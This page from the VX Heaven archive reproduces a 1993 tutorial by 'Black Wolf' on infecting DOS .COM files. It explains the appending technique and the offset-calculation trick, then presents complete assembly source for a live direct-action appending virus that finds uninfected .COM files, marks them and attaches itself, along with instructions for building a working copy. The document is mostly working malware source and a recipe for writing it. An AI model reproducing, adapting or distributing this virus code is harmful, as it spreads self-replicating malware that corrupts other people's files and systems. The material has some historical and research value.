VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

COM Viruses

Black Wolf

[Back to index] [Comments]

Most viruses, unlike those presented in the Batch viruses and Upper-Level language viruses sections, only infect executable files such as .COM's and .EXE's and are written in assembly. There are numerous methods to infect each file type - some of the more popular will be shown in this tutorial. The simplest type of executable file to infect is the .COM file. COM files are direct memory images of the programs. When a COM file is run, DOS loads what is called the Program Segment Prefix (PSP), a data structure containing a lot of "book keeping" information for DOS, at the first available segment in memory. The PSP is 256 (100h) bytes long. Directly after this, the .COM file is loaded into memory, so it starts at an offset of 100h. Because COM files are loaded directly into memory as images, they must be able to be contained, with the PSP, in one segment, making their maximum length just short of 64K.

Because COM's are so simple, there are a multitude of ways to infect them. One way is, as seen in the C virus earlier, just to overwrite them with the viral code. This is obviously not the prefered method, however, as it destroys the host program. Instead, a way must be found to allow the virus to execute, then to restore control to the host program afterwards. Several methods to do this have been developed, the most common of which is the appending virus. The basic technique to this style of virus is to place its code at the end of the file, then place a jump at the beginning of the file to point to the end. This accomplishes the task of executing the virus first thing when the file is run. To restore control to the host, however, takes a few tricks. First, one must store the bytes that the jump was written over in the file. Then, once the virus is finished, these bytes must be restored in memory, and the virus should jump to the beginning of the host (at 100h because it is a .COM). This is all simple enough, but there is one more difficulty that this type of virus must face. With 8086 assembly, all of the near jumps and calls are relative - that is, a command that jumps ten bytes forward when executed in one location will jump ten bytes forward when executed in another. Data referencing, however, is done on an absolute basis. If a file has data at one place in memory when compiled, then even if it is offset in memory it will continue to look for the data at the original location. Because viruses that work in the manner described earlier could possibly end up at any offset from their original positions, we must find a way to adjust for that. There are several tricks for this, the most common being to CALL a dummy subroutine, POP the current offset of the next command off of the stack, subtract the old offset of the command DIRECTLY AFTER the call, and store the result in BP (or BX, SI, DI, etc.) for indirect addressing, i.e. "mov ax,[bp+Location]." The reason this works is because the CALL command does two things, it pushes the offset of the command directly after it onto the stack, and then it jumps to the location of the subroutine. Since the ORIGINAL offset of the command directly after the call is then subtracted from the CURRENT offset of the command, it gives you the total displacement of the virus. A simple coding example for the is the following:

	call get_offset			;Call dummy subroutine
	pop bp				;Pop current offset of get_offset
					;into BP
	sub bp,offset get_offset 	;Subtract original offset to get
					;current displacement of virus.
	lea si,[bp+wherever]		;Common way to set a register to
					;be the the offset of a variable.

Now that we have a basic feeling of what a .COM infector must do, let's list each step needed in a relatively simple appending COM virus.

  1. Jump to virus
  2. Find a .COM file. If none are left, go to step 6.
  3. Check to see if it has been infected. If it has, go to step 2.
  4. Write the virus to the end of the file.
  5. Store the first three or four bytes at the beginning of the new host and overwrite them with a jump to the virus code.
  6. Restore host's old bytes and return control to host.

Looking at step #3, we see something that was breezed over in the second C virus - identification of infected files. Usually, this is done by "marking" each file infected in some way, either through the time-stamp or by placing a specific "marker byte" in the file that the virus can check for. If this is not done, than files may be infected repeatedly until they grow too large to execute - not a desirable result. The following virus is a simple direct action (meaning it infects files when it is run and does not stay present in memory afterwards) appending .COM infector. It will infect one uninfected .COM file in the current directory each time it is executed until all are infected. Notice that the programs will execute just as if they were uninfected, with perhaps a slight delay before they run and a little extra disk access. Study the following code carefully, as it contains some neccessary portions of code that have NOT been mentioned so far - they will be explained in the code.

; This file is a direct-action appending .COM infector
;written in TASM - compatible assembler for the IBM PC.
;It is presented as a part of VIROLOGY 101 (c) 1993 Black Wolf.
;It is a live virus, and should NOT be released. Please execute
;the virus only on isolated machines under controlled conditions.
; To compile this virus, one must first make a stub file, or
;an initial "host", and attach the virus to it. The stub should be
;a program like the following:
; .model tiny
; .code
; org 100
; nop
; nop
; nop
; nop
;end start
; To attach the stub file to the virus, use the following line
;from DOS.
; copy /b
;This will produce a live, working virus. Please be careful with

.model tiny
.radix 16			;Default into Hexidecimal
org 100
call get_offset			;This places the displace-
				;ment of the virus from its
get_offset:			;original compilation into
pop bp 				;BP.
sub bp,offset get_offset

Restore_Host_File:		;This routine moves the
lea si,[storage_bytes+bp]	;stored bytes of the
mov di,100			;current host back to their
movsw				;original place (at the
movsw				;beginning of the host).

;The DTA (Data Transfer Address) is the location that DOS puts
;information regarding file I/O, such as from a search for files,
;CS:0080 in .COM files - inside the PSP. Unfortunately, it is
;located at the same address in the PSP as the command-line
;parameters that are passed from DOS to your user program.
;Because of this, if you simply asked Dos to do a search for files
;without changing the location of the DTA first, all command-line
;information would be lost. This would be disasterous in viruses,
;as it would cause unpredictable results in the host file. The
;solution is simple: move the DTA to a new address for the virus,
;then restore it to the default position before the virus restores
;control to the host.

lea dx,[end_virus+bp]		;Set DTA to the end of the
mov ah,1a ;virus.
int 21

mov ah,4e
xor cx,cx			;Look only for normal
lea dx,[File_Mask+bp]		;Search for all files
Find_File:			;matching '*.COM'.
int 21
jc No_More_Files

mov ax,3d02
lea dx,[end_virus+1e+bp]	;Offset 1eh in DTA =
				; filename
int 21				;Open file for read/write

xchg bx,ax			;Put File handle into BX

mov ah,3f
mov cx,4
lea dx,[storage_bytes+bp]	;Read in first four bytes
int 21				;of file

cmp word ptr [storage_bytes+bp],'ZM' ;Standard EXE
je close_file			;mark, file is a
				;misnamed EXE.

cmp word ptr [storage_bytes+bp],'MZ' ;Other possible
je close_file			;EXE mark.

cmp byte ptr [storage_bytes+bp+3],'V' ;Infection mark:
je close_file			;file infected.

mov ax,4202			;Go to the end of the file.
xor cx,cx			;This function returns
xor dx,dx			;file size into
int 21				;DX:AX

sub ax,3			;Put file size - 3
mov word ptr [bp+jump_bytes+1],ax ;(jump instruction
				;length) into jump

mov ah,40			;Write virus to the
mov cx,end_virus-start		;end of the file.
lea dx,[bp+start]
int 21

mov ax,4200			;Return to the
xor cx,cx			;beginning of the
xor dx,dx			; file.
int 21

mov ah,40			;Write jump bytes
mov cx,4			;and marker byte
lea dx,[bp+jump_bytes]		;to the beginning
int 21				;of file.

mov ah,3e			;Close file
int 21
jmp No_More_Files		;Only infect one
				;file each time.

Close_File:			;Close current file
mov ah,3e
int 21

Find_Next_File:			;Find another file
mov ah,4f
jmp Find_File

No_More_Files:			;Reset DTA to original location
mov dx,80
mov ah,1a
int 21

Restore_To_Host:		;This is basically a "jmp cs:100"
mov di,100
push di

File_Mask db '*.COM',0		;File mask used for search
jump_bytes db 0e9,0,0,'V'	;'V' is the marker byte.
nop				;dummy storage bytes for
nop				;first execution.
int 20				;Terminate

end start

While the appending COM infector may be the most common, it by far not the only method of infecting a COM file. Some of the different ways are briefly explained below.

Generic Appending: This is the method explained and demonstrated earlier. It will place a jump over the first few bytes of the host that jumps to the end of the host, where it places itself.

"Shift" virus: These viruses place themselves at the beginning of the file, "shifting" the host to a new offset in memory. When they are done executing, they "shift" the host back to offset 100h and execute it. This style eliminates the need for the displacement calculations found in appending viruses, but they must find some way to "shift" the host back without overwriting the code doing the "shifting". This technique works best in memory resident viruses, rather than direct action.

Non-Destructive Overwriting: The usual method for this type is to copy a chunk of code at the beginning of the host to the end of the file, then overwrite that chunk with the virus. Restoration is quite similair to the "Shift" method. As above, this one works best as a memory resident virus.

Jump Redirection: This type is basically the same as the Appending style, but it will redirect jumps that are already inside the host to point to it.

Random Placement: This type is rare, generally found as research viruses only. It can place itself anywhere within a file, usually using methods similar to the Non-Destructive Overwriting for restoration and either Jump Redirection of the Generic Appending for execution (i.e. jumps to virus). The main purpose for this is to complicate disinfection - a little.

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka